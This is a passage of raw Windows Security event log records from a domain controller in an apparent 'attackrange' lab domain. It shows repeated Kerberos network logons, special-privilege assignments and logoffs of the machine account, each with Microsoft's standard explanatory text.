WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB89AD - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 63947 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248528 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB89AD - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248527 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB894C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248526 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB894C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 63946 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248525 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB894C - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248524 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB88E6 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248523 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB88E6 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 63945 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248522 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB88E6 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248521 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB8885 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248520 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB8885 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 63944 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248519 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB8885 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248542 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB8B3E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248541 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB8B3E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 63951 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248540 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB8B3E - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248539 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB8ADD - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248538 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB8ADD - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 63950 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248537 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB8ADD - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248536 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB8A77 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248535 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB8A77 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 63949 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248534 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB8A77 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248533 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB8A16 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248532 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB8A16 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 63948 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248531 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB8A16 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248554 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB8D26 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248553 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB8D26 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 63955 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248552 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB8D26 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248551 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB8CC5 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248550 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB8CC5 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 63954 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248549 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB8CC5 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege 